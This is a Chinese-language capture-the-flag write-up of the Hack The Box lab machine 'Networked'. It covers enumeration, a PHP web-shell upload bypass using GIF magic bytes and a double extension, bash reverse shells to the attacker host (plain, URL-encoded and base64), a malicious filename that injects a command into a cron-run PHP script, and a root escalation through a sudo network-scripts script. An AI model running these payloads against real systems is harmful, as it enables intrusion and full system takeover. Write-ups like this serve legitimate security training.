HTB Networked writeup(network-scripts提权)
HTB Networked writeup
- 大佬请忽略!
- 信息收集
- nmap
- http
- Shell as apache
- Shell as guly
- Shell as root
大佬请忽略!
Networked攻击点:
一:file upload RCE
二:command injection
三:root through network-scripts
四:大佬视角
信息收集
nmap
└─$ nmap -p- --min-rate 1000 10.10.10.146
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-09 15:48 CST
Nmap scan report for 10.10.10.146
Host is up (0.19s latency).
Not shown: 65405 filtered tcp ports (no-response), 127 filtered tcp ports (host-prohibited)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp closed httpsNmap done: 1 IP address (1 host up) scanned in 132.22 seconds
└─$ nmap -p22,80,443 -sC -sV --min-rate 1000 10.10.10.146
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-09 15:52 CST
Nmap scan report for 10.10.10.146
Host is up (0.17s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
443/tcp closed httpsService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.79 seconds
靶机开放ssh服务的22端口、http服务的80端口和443端口。
http
http://10.10.10.146/

内容大意:我们正在开发一个新的网站……
gobuster
http80端口服务目录爆破,得到/backup和/uploads文件夹。
└─$ gobuster dir -u http://10.10.10.146/ -t 100 -o gobuster.log --no-error -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.146/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/backup (Status: 301) [Size: 235] [--> http://10.10.10.146/backup/]
/uploads (Status: 301) [Size: 236] [--> http://10.10.10.146/uploads/]
Progress: 29999 / 30000 (100.00%)
===============================================================
Finished
===============================================================
/backup
http://10.10.10.146/backup/
有个tar压缩包,下载到kali本地解压继续收集压缩包中的内容。

解压
tar xvf backup.tar -C backup
index.php
lib.php
photos.php
upload.php
源码分析
index.php
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>
主页没有其他信息。
upload.php
<?php
// 引入外部 PHP 文件 lib.php,可能包含共享函数或配置
require '/var/www/html/lib.php';
// 定义常量 UPLOAD_DIR,指定文件上传目录为 /var/www/html/uploads/
define("UPLOAD_DIR", "/var/www/html/uploads/");
// 检查是否通过 POST 提交了名为 'submit' 的表单数据
if( isset($_POST['submit']) ) {// 检查是否上传了名为 'myFile' 的文件if (!empty($_FILES["myFile"])) {// 将上传文件信息存储到变量 $myFile,包含文件名、临时路径等$myFile = $_FILES["myFile"];// 检查文件类型是否合法(通过 check_file_type)且文件大小小于 60KBif (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {// 如果文件类型或大小不合法,输出错误信息echo '<pre>Invalid image file.</pre>';// 调用 displayform 函数显示上传表单displayform();}// 检查文件上传是否有错误(如上传失败)if ($myFile["error"] !== UPLOAD_ERR_OK) {// 输出上传错误的提示信息echo "<p>An error occurred.</p>";// 调用 displayform 函数显示上传表单displayform();// 终止脚本执行exit;}// 注释掉的代码:原计划用客户端 IP 地址和文件名拼接新文件名//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];// 调用 getnameUpload 函数,分解文件名,获取名称和扩展名,$foo 存储名称,$ext 存储扩展名list ($foo,$ext) = getnameUpload($myFile["name"]);// 定义允许的图片文件扩展名数组$validext = array('.jpg', '.png', '.gif', '.jpeg');// 初始化变量 $valid,表示文件扩展名是否有效$valid = false;// 遍历允许的扩展名数组foreach ($validext as $vext) {// 检查文件名是否以允许的扩展名结尾(大小写敏感)if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {// 如果匹配,设置 $valid 为 true$valid = true;}}// 如果扩展名无效if (!($valid)) {// 输出错误信息echo "<p>Invalid image file</p>";// 调用 displayform 函数显示上传表单displayform();// 终止脚本执行exit;}// 用客户端 IP 地址(点号替换为下划线)加上扩展名生成新文件名$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;// 将上传的临时文件移动到 UPLOAD_DIR 目录,重命名为 $name$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);// 如果文件移动失败if (!$success) {// 输出错误信息echo "<p>Unable to save file.</p>";// 终止脚本执行exit;}// 输出上传成功的提示信息echo "<p>file uploaded, refresh gallery</p>";// 设置上传文件的权限为 0644(所有者读写,其他人只读)chmod(UPLOAD_DIR . $name, 0644);}
} else {// 如果没有提交表单,调用 displayform 函数显示上传表单displayform();
}
?>
lib.php
<?php
// 定义 getnameCheck 函数,分解文件名,返回名称和扩展名
function getnameCheck($filename) {// 将文件名按点号分割为数组$pieces = explode('.',$filename);// 提取数组第一个元素作为名称$name= array_shift($pieces);// 将名称中的下划线替换为点号$name = str_replace('_','.',$name);// 将剩余部分用点号拼接为扩展名$ext = implode('.',$pieces);// 注释掉的调试代码:输出名称和扩展名#echo "name $name - ext $ext\n";// 返回名称和扩展名数组return array($name,$ext);
}
// 定义 getnameUpload 函数,分解文件名,返回名称和扩展名(与 getnameCheck 功能相同)
function getnameUpload($filename) {// 将文件名按点号分割为数组$pieces = explode('.',$filename);// 提取数组第一个元素作为名称$name= array_shift($pieces);// 将名称中的下划线替换为点号$name = str_replace('_','.',$name);// 将剩余部分用点号拼接为扩展名$ext = implode('.',$pieces);// 返回名称和扩展名数组return array($name,$ext);
}
// 定义 check_ip 函数,验证 IP 地址并返回结果
function check_ip($prefix,$filename) {// 注释掉的调试代码:输出前缀和文件名//echo "prefix: $prefix - fname: $filename<br>\n";// 初始化返回值为 true,表示 IP 有效$ret = true;// 使用 filter_var 检查 $prefix 是否为有效 IP 地址if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {// 如果不是有效 IP,设置返回值为 false$ret = false;// 设置错误消息,提示文件名中的前缀不是有效 IP$msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";} else {// 如果是有效 IP,将文件名作为消息返回$msg = $filename;}// 返回数组,包含验证结果和消息return array($ret,$msg);
}
// 定义 file_mime_type 函数,获取文件的 MIME 类型
function file_mime_type($file) {// 定义正则表达式,用于匹配 MIME 类型格式$regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';// 检查 finfo_file 函数是否存在(需要 PHP 扩展 fileinfo)if (function_exists('finfo_file')) {// 打开 fileinfo 资源以获取 MIME 信息$finfo = finfo_open(FILEINFO_MIME);// 检查 $finfo 是否为有效资源if (is_resource($finfo)) {// 获取文件的 MIME 类型,@ 抑制可能的错误$mime = @finfo_file($finfo, $file['tmp_name']);// 关闭 fileinfo 资源finfo_close($finfo);// 检查 $mime 是否为字符串且匹配正则表达式if (is_string($mime) && preg_match($regexp, $mime, $matches)) {// 提取 MIME 类型(如 image/jpeg)$file_type = $matches[1];// 返回 MIME 类型return $file_type;}}}// 检查 mime_content_type 函数是否存在(PHP 内置函数,可能已废弃)if (function_exists('mime_content_type')) {// 获取文件的 MIME 类型,@ 抑制可能的错误$file_type = @mime_content_type($file['tmp_name']);// 检查返回的 MIME 类型是否非空if (strlen($file_type) > 0) {// 返回 MIME 类型return $file_type;}}// 如果以上方法都失败,返回文件上传时客户端提供的 MIME 类型(不可靠)return $file['type'];
}
// 定义 check_file_type 函数,检查文件是否为图片类型
function check_file_type($file) {// 调用 file_mime_type 获取文件的 MIME 类型$mime_type = file_mime_type($file);// 检查 MIME 类型是否以 "image/" 开头if (strpos($mime_type, 'image/') === 0) {// 如果是图片类型,返回 truereturn true;} else {// 如果不是图片类型,返回 falsereturn false;}
}
// 定义 displayform 函数,输出文件上传表单
function displayform() {
?>// 创建上传表单,提交到当前脚本,method 为 post,enctype 支持文件上传<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">// 文件输入框,名称为 myFile<input type="file" name="myFile">// 换行<br>// 提交按钮,名称为 submit,显示为 "go!"<input type="submit" name="submit" value="go!"></form>
<?php// 终止脚本执行exit();
}
?>
其中file_mime_type 函数使用 finfo_open(FILEINFO_MIME) 来初始化 Fileinfo 资源,然后通过 finfo_file 获取文件的 MIME 类型。
Fileinfo 扩展通过分析文件的魔法数字(文件头部的字节序列)来确定 MIME 类型,比依赖文件扩展名或客户端提供的 MIME 类型更可靠。
photos.php
<html>
<!-- 定义表格样式,设置边框折叠、间距为 0、居中显示 -->
<style type="text/css">
.tg {border-collapse:collapse;border-spacing:0;margin:0px auto;}
// 设置表格单元格样式:字体、字号、内边距、边框、溢出处理
.tg td{font-family:Arial, sans-serif;font-size:14px;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:black;}
// 设置表格标题样式,与单元格类似但字体权重为正常
.tg th{font-family:Arial, sans-serif;font-size:14px;font-weight:normal;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:black;}
// 定义类 tg-0lax,设置文本左对齐、垂直顶部对齐
.tg .tg-0lax{text-align:left;vertical-align:top}
// 响应式设计:屏幕小于 767px 时,表格宽度自适应,支持水平滚动
@media screen and (max-width: 767px) {.tg {width: auto !important;}.tg col {width: auto !important;}.tg-wrap {overflow-x: auto;-webkit-overflow-scrolling: touch;margin: auto 0px;}}
</style>
</head>
<body>
// 输出欢迎信息
Welcome to our awesome gallery!</br>
// 提示用户查看社区上传的图片并可评分或评论
See recent uploaded pictures from our community, and feel free to rate or comment</br>
<?php
// 再次引入 lib.php,可能包含共享函数或配置
require '/var/www/html/lib.php';
// 设置图片存储路径为 /var/www/html/uploads/
$path = '/var/www/html/uploads/';
// 定义忽略的文件列表(当前目录、父目录、index.html)
$ignored = array('.', '..', 'index.html');
// 初始化空数组,用于存储文件信息
$files = array();
// 初始化计数器 $i,用于控制表格列数
$i = 1;
// 输出表格开始标签,包含 tg-wrap 类和 tg 类
echo '<div class="tg-wrap"><table class="tg">'."\n";
// 遍历 uploads 目录中的文件
foreach (scandir($path) as $file) {// 如果文件在忽略列表中,跳过本次循环if (in_array($file, $ignored)) continue;// 将文件名和修改时间存入 $files 数组,键为文件名,值为修改时间$files[$file] = filemtime($path. '/' . $file);
}
// 按修改时间降序排序 $files 数组
arsort($files);
// 提取排序后的文件名数组
$files = array_keys($files);
// 遍历排序后的文件名
foreach ($files as $key => $value) {// 将文件名按点号分割为数组$exploded = explode('.',$value);// 将文件名首部分中的下划线替换为点号,作为 IP 地址前缀$prefix = str_replace('_','.',$exploded[0]);// 调用 check_ip 函数,验证前缀是否为有效 IP 地址$check = check_ip($prefix,$value);// 如果 IP 地址无效,跳过当前文件if (!($check[0])) {continue;}// 如果文件名以 10_10_ 开头且前缀不匹配当前客户端 IP(可能是 Hack The Box 环境的安全限制),跳过当前文件if ((strpos($exploded[0], '10_10_') === 0) && (!($prefix === $_SERVER["REMOTE_ADDR"])) ) {continue;}// 如果计数器 $i 为 1,表示新的一行开始,输出表格行开始标签if ($i == 1) {echo "<tr>\n";}// 输出表格单元格开始标签,应用 tg-0lax 样式echo '<td class="tg-0lax">';// 输出上传者信息(文件名或验证消息)echo "uploaded by $check[1]<br>";// 输出图片标签,显示上传的图片,宽度固定为 100pxecho "<img src='Uploads/".$value."' width=100px>";// 输出表格单元格结束标签echo "</td>\n";// 如果计数器 $i 达到 4,表示一行已满,输出表格行结束标签并重置计数器if ($i == 4) {echo "</tr>\n";$i = 1;} else {// 如果一行未满,计数器加 1$i++;}
}
// 如果最后一行未满(计数器在 2 到 3 之间),输出表格行结束标签
if ($i < 4 && $i > 1) {echo "</tr>\n";
}
// 输出表格和 div 结束标签
?>
</table></div>
</body>
</html>

文件上传总结:没有变量submit就展示文件上传页面。判断变量submit是否存在、文件myFile是否为空,调用函数check_file_type判断上传的文件是否为图片且大小小于60kb。图片大小符合要求调用函数getnameUpload获取文件名和扩展名,判断图片的扩展名是否符合要求,符合要求,重新生成图片的名称并将图片移动到“/var/www/html/uploads/”文件夹下。

上传成功的文件会在这个页面展示。
Shell as apache
exlpoit magic byte
通过修改图片内容绕过文件上传
选择正常图片上传,使用burp suite拦截上传的请求,修改文件的扩展名为:.php.png,修改文件内容为:
<?php @system($_REQUEST[cmd]);?>
拦截文件上传请求并修改文件内容。

文件绕过上传成功。


通过修改文件类型绕过文件上传
echo -n -e 'GIF87a' > shell.php.gif
file shell.php.gif
shell.php.gif: GIF image data, version 87a,
GIF87a
<?php @system($_REQUEST[cmd]);?>


reverse shell
bash -c 'bash -i >& /dev/tcp/10.10.16.9/9000 0>&1'
URL编码
%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%36%2e%39%2f%39%30%30%30%20%30%3e%26%31%27
Fire

└─$ nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.146] 39530
bash: no job control in this shell
bash-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
升级全交互式shell
bash-4.2$ script /dev/null -c bash
script /dev/null -c bash
bash-4.2$ ^Z
[1]+ Stopped nc -lvnp 9000
─$ stty raw -echo;fg
nc -lvnp 9000reset: unknown terminal type unknown
Terminal type? screen
bash-4.2$ stty rows 29 columns 117
Shell as guly
查看系统用户
bash-4.2$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
guly:x:1000:1000:guly:/home/guly:/bin/bash
guly家目录发现定时任务的文件。
bash-4.2$ ls -la
total 28
drwxr-xr-x. 2 guly guly 4096 Sep 6 2022 .
drwxr-xr-x. 3 root root 18 Jul 2 2019 ..
lrwxrwxrwx. 1 root root 9 Sep 7 2022 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-r--------. 1 guly guly 33 Sep 10 07:51 user.txt
bash-4.2$ cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php
分析check_attack.php文件
<?php
// 引入位于 /var/www/html/lib.php 的外部 PHP 文件,包含所需的函数或库(如 getnameCheck 和 check_ip)。
require '/var/www/html/lib.php';
// 定义变量 $path,指定要扫描的文件目录路径为 /var/www/html/uploads/。
$path = '/var/www/html/uploads/';
// 定义变量 $logpath,指定日志文件路径为 /tmp/attack.log,用于记录攻击相关信息。
$logpath = '/tmp/attack.log';
// 定义变量 $to,设置邮件接收者的用户名或邮箱地址为 'guly'。
$to = 'guly';
// 初始化变量 $msg 为空字符串,用于存储邮件内容或日志信息。
$msg = '';
// 定义邮件头信息,指定 X-Mailer 为 check_attack.php,用于标识邮件来源。
$headers = "X-Mailer: check_attack.php\r\n";
// 初始化空数组 $files,用于存储目录中的文件列表。
$files = array();
// 使用 scandir() 获取 $path 目录中的文件和子目录列表,并通过 preg_grep 过滤掉以点号(.)开头的隐藏文件(如 . 和 ..)。
$files = preg_grep('/^([^.])/', scandir($path));
// 遍历 $files 数组,$key 为文件索引,$value 为文件名。
foreach ($files as $key => $value) {
// 在每次循环开始时,将 $msg 重置为空字符串,准备记录新的日志或邮件内容。$msg = '';
// 检查当前文件名是否为 'index.html'。if ($value == 'index.html') {
// 如果是 index.html,则跳过当前循环,继续处理下一个文件(忽略此文件)。continue;
// 结束 if 条件块。}
// 注释掉的调试代码,原用于输出分隔线以便在控制台分隔不同文件的处理信息。#echo "-------------\n";
// 注释掉的调试代码,原用于输出当前检查的文件名。#print "check: $value\n";
// 调用 getnameCheck 函数(定义在 lib.php 中),解析文件名 $value,返回文件名($name)和扩展名($ext)。list ($name, $ext) = getnameCheck($value);
// 调用 check_ip 函数(定义在 lib.php 中),检查文件名或其内容是否符合某些条件(可能是检测攻击行为),返回检查结果数组。$check = check_ip($name, $value);
// 检查 $check 数组的第一个元素是否为 false,表示检测到异常(可能是攻击)。if (!($check[0])) {
// 输出 "attack!" 到控制台,提示检测到潜在的攻击行为。echo "attack!\n";
// 注释,提示开发者需要实现文件附件的逻辑(目前未实现)。# todo: attach file
// 将 $msg 内容追加写入 $logpath(/tmp/attack.log),使用 FILE_APPEND 追加模式,LOCK_EX 确保写操作的独占锁。file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
// 执行系统命令 rm -f,删除日志文件 $logpath(可能是错误逻辑,应为删除攻击文件)。exec("rm -f $logpath");
// 执行系统命令,使用 nohup 在后台删除 $path 目录下的文件 $value,重定向输出到 /dev/null,避免控制台显示。exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
// 输出删除文件的命令到控制台,提示已执行删除操作。echo "rm -f $path$value\n";
// 调用 mail 函数,向 $to 发送邮件,主题和内容均为 $msg,附加头信息为 $headers,附加参数 -F 指定发件人名称为文件名 $value。mail($to, $msg, $msg, $headers, "-F$value");
// 结束 if 条件块。}
// 结束 foreach 循环。
}
// 声明 PHP 脚本的结束。
?>
check_attack.php文件有一行代码“exec(“nohup /bin/rm -f p a t h path pathvalue > /dev/null 2>&1 &”);”, p a t h = ′ / v a r / w w w / h t m l / u p l o a d s / ′ 、 path = '/var/www/html/uploads/'、 path=′/var/www/html/uploads/′、value来自目录’/var/www/html/uploads/'内的文件名。exec执行之前没有经过严格的校验和过滤,此时可在$value处注入命令。
创建反弹shell文件名。
Linux系统命名规则
Linux 文件命名规则允许使用几乎所有字符(除 / 和空字符 \0),文件名最大长度为 255 个字符,路径最大 4096 个字符,且大小写敏感。推荐使用字母、数字、连字符(-)、下划线(_)和点号(.),避免空格和特殊字符(如 *, ?),以 . 开头表示隐藏文件。命名应简洁、一致,优先小写,考虑跨平台兼容性和脚本安全性。
reverse shell
bash -c 'bash -i >& /dev/tcp/10.10.16.9/9001 0>&1'
base64编码
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45LzkwMDEgMD4mMSc=
文件名。
;echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45LzkwMDEgMD4mMSc= | base64 -d | bash
在靶机上创建文件
touch ';echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45LzkwMDEgMD4mMSc= | base64 -d | bash'
bash-4.2$ ls -la
total 40
drwxrwxrwx. 2 root root 4096 Sep 10 11:09 .
drwxr-xr-x. 4 root root 4096 Jul 9 2019 ..
-rw-r--r-- 1 apache apache 41 Sep 10 08:09 10_10_16_9.php.png
-rw-r--r-- 1 apache apache 7953 Sep 10 08:07 10_10_16_9.png
-rw-r--r--. 1 root root 3915 Oct 30 2018 127_0_0_1.png
-rw-r--r--. 1 root root 3915 Oct 30 2018 127_0_0_2.png
-rw-r--r--. 1 root root 3915 Oct 30 2018 127_0_0_3.png
-rw-r--r--. 1 root root 3915 Oct 30 2018 127_0_0_4.png
-rw-r--r-- 1 apache apache 0 Sep 10 11:09 ;echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45LzkwMDEgMD4mMSc= | base64 -d | bash
-r--r--r--. 1 root root 2 Oct 30 2018 index.html
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.10.146] 44052
bash: no job control in this shell
[guly@networked ~]$ id
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
升级全交互式shell
bash-4.2$ script /dev/null -c bash
script /dev/null -c bash
bash-4.2$ ^Z
[1]+ Stopped nc -lvnp 9001
─$ stty raw -echo;fg
nc -lvnp 9001reset: unknown terminal type unknown
Terminal type? screen
bash-4.2$ stty rows 29 columns 117
Shell as root
sudo -l
通过配置 /etc/sudoers,允许普通用户以超级用户(或其他用户)身份执行特定命令,利用 sudo 临时切换权限运行。
[guly@networked ~]$ sudo -l
Matching Defaults entries for guly on networked:!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAMEHISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATELC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/binUser guly may run the following commands on networked:(root) NOPASSWD: /usr/local/sbin/changename.sh
分析changename.sh脚本。
[guly@networked ~]$ cat /usr/local/sbin/changename.sh
// 指定脚本的解释器为 Bash,并使用 -p 选项启用特权模式(限制环境变量继承,增强安全性)。
#!/bin/bash -p
// 使用 cat 命令将后续内容写入文件 /etc/sysconfig/network-scripts/ifcfg-guly,覆盖文件原有内容(若存在)。Here Document 语法以 EoF 标记结束。
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
// 设置网络接口的设备名称为 guly0。
DEVICE=guly0
// 配置接口在系统启动时不自动启用(no 表示不自动启动)。
ONBOOT=no
// 禁用 NetworkManager 对该接口的控制(NetworkManager 是 Linux 上管理网络的工具)。
NM_CONTROLLED=no
// Here Document 的结束标记,表示停止写入文件。
EoF// 定义正则表达式,匹配只包含字母、数字、下划线、空格、斜杠和连字符的字符串。^ 表示字符串开始,$ 表示结束,[] 内定义允许的字符集,+ 表示一个或多个字符。
regexp="^[a-zA-Z0-9_\ /-]+$"
// 遍历变量列表(NAME、PROXY_METHOD、BROWSER_ONLY、BOOTPROTO),每次循环将变量名赋值给 var。这些是网络接口配置文件中常见的参数。
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
// 打印提示信息,要求用户为当前变量(如 NAME)输入值,$var 会替换为具体变量名。echo "interface $var:"
// 从标准输入读取用户输入的值,并存储到变量 x 中。read x
// 使用 while 循环检查用户输入是否符合正则表达式 regexp。[[ ! $x =~ $regexp ]] 表示如果输入 x 不匹配正则表达式,则进入循环。while [[ ! $x =~ $regexp ]]; do
// 如果输入不合法,打印错误提示,要求用户重新输入。echo "wrong input, try again"
// 再次打印提示,显示当前变量名。echo "interface $var:"
// 再次读取用户输入,更新变量 x。read x
// 结束 while 循环,表示用户输入已通过正则表达式验证。done
// 将变量名和用户输入的值以 "变量名=值" 的格式追加(>>)到配置文件 ifcfg-guly 中。例如,如果 var 是 NAME,x 是 eth0,则写入 NAME=eth0。echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
// 结束 for 循环,处理完所有变量。
done
// 执行 ifup 命令,尝试启用名为 guly0 的网络接口。ifup 依赖于配置文件 /etc/sysconfig/network-scripts/ifcfg-guly。
/sbin/ifup guly0
创建/etc/sysconfig/network-scripts/ifcfg-guly文件时,循环读取用户输入的值,允许用户输入空格
root through network-scripts

Fire
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
test bash
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)
大佬视角
大佬不满足于root,一定得搞清楚里面的来龙去脉。
为什么上传文件扩展名是*.php.png这种形式,服务器仍可解析PHP文件。
[root@networked conf.d]# cat php.conf
AddHandler php5-script .php
AddType text/html .php
DirectoryIndex index.php
php_value session.save_handler "files"
php_value session.save_path "/var/lib/php/session"
AddHandler 的匹配机制:
- AddHandler php5-script .php 告诉 Apache 将包含 .php 的文件交给 PHP 处理程序(php5-script)执行。
- 根据 Apache 的实现,AddHandler 不严格要求 .php 是最后一个扩展名。它会扫描文件名,如果发现 .php,就会应用处理程序。这导致 example.php.png 被视为 PHP 文件,即使最后一个扩展名是 .png。
- 这与 SetHandler 不同,后者更严格,只匹配确切的扩展名。Apache 文档建议使用 SetHandler 来避免这种问题,因为 AddHandler 可能导致安全隐患。
- 功能:将扩展名为 .php 的文件与 PHP 处理程序(php5-script)关联,交给 PHP 解释器执行。
- 作用:确保 .php 文件被解析为 PHP 脚本,而不是作为静态文件返回。
AddType text/html .php:
- 功能:设置 .php 文件的 MIME 类型为 text/html,告诉浏览器将其视为 HTML 内容。
- 作用:确保 PHP 脚本的输出被浏览器解析为 HTML(除非脚本手动设置其他 Content-Type)。
DirectoryIndex index.php:
- 功能:指定当访问目录时,优先使用 index.php 作为默认文件。
- 作用:访问如 http://example.com/ 时,Apache 会尝试加载 index.php。
php_value session.save_handler “files”:
- 功能:设置 PHP 会话数据存储方式为文件系统。
- 作用:会话数据保存在文件中(由 session.save_path 指定路径)。
php_value session.save_path “/var/lib/php/session”:
- 功能:指定会话文件存储路径为 /var/lib/php/session。
- 作用:PHP 会将会话数据存储在此目录下的文件中(如 sess_abc123)。
